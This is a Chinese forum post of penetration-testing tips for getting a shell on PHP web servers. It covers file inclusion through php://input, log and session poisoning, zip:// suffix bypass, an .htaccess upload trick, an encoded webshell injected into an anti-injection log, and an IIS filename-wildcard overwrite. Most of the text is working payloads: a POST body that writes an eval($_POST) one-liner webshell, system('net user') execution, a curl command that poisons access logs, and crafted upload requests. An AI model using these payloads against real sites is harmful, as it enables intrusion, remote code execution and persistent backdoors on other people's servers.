Author: Binghe@i春秋
总结下渗透测试中的一些小技巧,仅做总结。
0x01 php文件包含姿势 0x02 .htaccess文件突破黑名单解析 0x03 php流封装绕过截断 0x04 通用防注入系统getshell 0x05 iis+php黑名单上传突破
其实这类姿势国外黑阔早有总结:
includinguploaded files -straight forward method; this requires existence of an upload functionality inthe tested website (e.g. photo upload, or document upload), access to uploadfunctionality and storage of uploaded files in a place accessible by the PHPscript (如果网站存在文件上传功能,比如前台传头像之类,可以尝试包含上传的文件,当然文件可控。)
include data://or php://input pseudo protocols - these protocols must be enabled andaccessible via include (allow_url_include set to on); also, php://filter pseudo protocol is usable in somecases (利用php封装协议php://input和data://,包含post数据造成php命令执行,当然allow_url_include选项需要打开)
including logs - this required PHP script to be ableto access certain types of logs, e.g. httpd server error logs or access logs;also, size of these logs might make the attack harder (e.g. if error log has2GB) (因为包含的可以是任意文件,log文件也是可以,当我们提交恶意代码时也会被记录,于是包含记录了恶意代码的log文件是个好主意)
including /proc/self/environ - this requires PHP to be run as CGIon a system that hasthe /proc pseudo-filesystem and PHP script is required to have access to theaforementioned pseudo-file (包含/proc/self/environ文件: 这需要PHP运行作为一个具有cgion /proc伪文件的系统且PHP脚本有权访问这些伪文件)
include session files - this requires the attacker to beable to influence the value of any string in a session (to inject code, e.g.<?php phpinfo(); ? >), the sessions must be stored in a serializedsession file (as e.g. x| s:19:"<?php phpinfo(); ?>"; - this isthe default setting for PHP) and the PHP script must be able to access thesession file (usually names /tmp/ sess_SESSIONID) (包含会话文件-这需要攻击者能控制会话中的任何字符串值(注入代码,例如phpinfo()),会话文件必须存放在serializedsession文件且PHP脚本能够访问会话文件(通常是/tmp/ sess_SESSIONID文件)
include other files created by PHPapplication - thisis very application and system specific, but it basically describes any otherfile that is created the websites functionality and the way it works, e.g.database files, cache files, application-level logs, etc Additional toolsincluded both the poison nul byte (addressed in PHP 5.3.4[1] released2010-12-09) and excessive slash (/) suffix into path truncation bug[2] (patchedin 2009).
(包含其他由php应用创建的文件,只要你能想到的,都可以尝试创建 然后包含他,比如数据库文件,缓存文件,应用程序级别的日志)
我们来主要说下第二种和第三种姿势 php://input属于php内置的封装协议,其实都主要是include()函数处理不当 这里我们准备一个有文件包含的php文件
<?php include($_GET['url']); ?>
我们访问 http://127.0.0.1/111332.php?url=php://input 然后我们通过POST提交php代码。 黑阔可利用此写入一句话木马:
<?php fwrite(fopen("xxx.php","w"),'<?php eval($_POST["cc"]);?>');?>
同理,提交:
<?php system("net user")?>
可成功通过system函数成功执行命令。
包含日志文件getshell(需要一定读权限)
首先找到日志文件存放位置,利用文件包含漏洞去读取 apache 日志默认在 /etc/httpd/logs/access_log
也可以先找apache配置文件,通过任意文件读取漏洞配置文件找到日志路径 /etc/httpd/conf/httpd.conf
让日志文件插入php代码
方法一
使用burpsuit抓包访问 ,绕过浏览器编码<>
方法二 curl 访问不存在的url
curl http://192.168.192.1/a.php?=<?php phpinfo(); ?>
如此,php代码就被写到log里面了 包含一下日志:
http://172.16.77.145/lfi/1/index.php?page=/etc/httpd/logs/access_log
因为是黑名单,自定义.htaccess上传,下面是内容
<FileMatch “test.jpg”> SetHandler application/x-httpd-php </FileMatch>
同目录下,上传一个test.jpg文件,没有扩展名,内容是一句话,这个时候就成功绕过。
思路源于王松童鞋 @王松_striker 思路主要是利用了PHP的一个流封装的特性,可以参考PHP官方文档中的Example #3
Example #3 Zip 流封装,读取一个OpenOffice 文件的元信息
<?php $reader = new XMLReader(); $reader->open('zip://' . dirname(__FILE__) . '/test.odt#meta.xml'); $odt_meta = array(); while ($reader->read()) { if ($reader->nodeType == XMLREADER::ELEMENT) { $elm = $reader->name; } else { if ($reader->nodeType == XMLREADER::END_ELEMENT && $reader->name == 'office:meta') { break; } if (!trim($reader->value)) { continue; } $odt_meta[$elm] = $reader->value; } } print_r($odt_meta); ?>
此例使用了旧的 API(PHP 4),它打开了一个 ZIP 文件归档,读取归档里的每个文件,并输出文件内容。此例用到的 test2.zip 文档是 ZZIPlib 源分布里测试文档中的一个。 假设存在文件包含的代码为:
<?php $a = $_GET['file']; include $a.'.html.php';
但是我们%00无法截断, 只能包含 xxxx.html.php 首先我们新建一个hello.html.php,内容为phpinfo();
然后压缩成zip,结构如下图:
然后访问如下网址,成功包含压缩文件内的hello.html.php
http://localhost/test/blog.php?file=zip://test.zip%23hello
如图:
把我们输入的变量和include后面的变量合起来就是 zip://test.zip#hello.html.php
代表当前目录下的test.zip压缩包里面的hello.html.php,于是包含成功。
相信许多朋友渗透测试都遇到过这种情况
系统做了数据提交记录,我们通过阅读类似程序的源码得知数据记录在sqlin.asp
于是想到直接提交一句话木马。但是没有成功
┼攠數畣整爠煥敵瑳∨≡┩愾 密码 a (加密方式是:ANSI->Unicode) 提交 and 1= ┼攠數畣整爠煥敵瑳∨≡┩愾
菜刀连接sqlin.php即可
环境: php+window+iis
局限: 文件上传黑名单机制,略显鸡肋
科普: 在php+window+iis环境下:
双引号(“>”) <==> 点号(“.”)’;
大于符号(“>”) <==> 问号(“?”)’;
小于符号(“<“) <==> 星号(“*”)’;
有这么好玩的东西,那不就可以做太多的事了?但事实并不是这样,通过一系列的测试发现,该特性只能用于文件上传时覆盖已知的文件,于是这特性便略显鸡肋.
不过P牛已经给出完美利用的方法:
思路如下:
首先我们先利用特殊办法生成一个php文件,然后再利用这个特性将文件覆盖..
可问题又来了,怎样生成php文件呢?如果可以直接生成php文件的话,干嘛还要利用那什么特性?
别急,办法总是有的..
我们都知道在文件上传时,我们往往会考虑到文件名截断,如%00 等..
对!有的人可能还会用冒号(“:”)去截断,如:bypass.php:jpg
但是你知道吗?冒号截断产生的文件是空白的,里面并不会有任何的内容,呵呵说到这里明白了没有? 虽然生成的php文件里面没有内容,但是php文件总生成了吧,所以我们可以结合上面所说的特性完美成功利用.
按照上面提供的思路,实现..
本地测试地址:http://.../upfile.php 环境:Windows+IIS7.5
1)首先利用冒号生成我们将要覆盖的php文件,这里为:bypass.php,如图
点击forward后,可以看见成功生成空白的bypass.php文件
2)利用上面的系统特性覆盖该文件 从上面已经知道“<” 就等于 “”,而””代码任意字符,于是乎..
我们可以这样修改上传的文件名,如下:
------WebKitFormBoundaryaaRARrn2LBvpvcwK</pre> Content-Disposition: form-data; name="file"; filename="bypass.<<<" Content-Type: image/jpeg //注意!文件名为:bypass.<<<
点击go..,即可成功覆盖bypass.php文件,如图
对比上面的两个图,bypass.php被我们成功的写入了内容..
参考资料:乌云知识库 binghesec Phithon 王松
原文地址:http://bbs.ichunqiu.com/thread-14031-1-1.html?from=seebug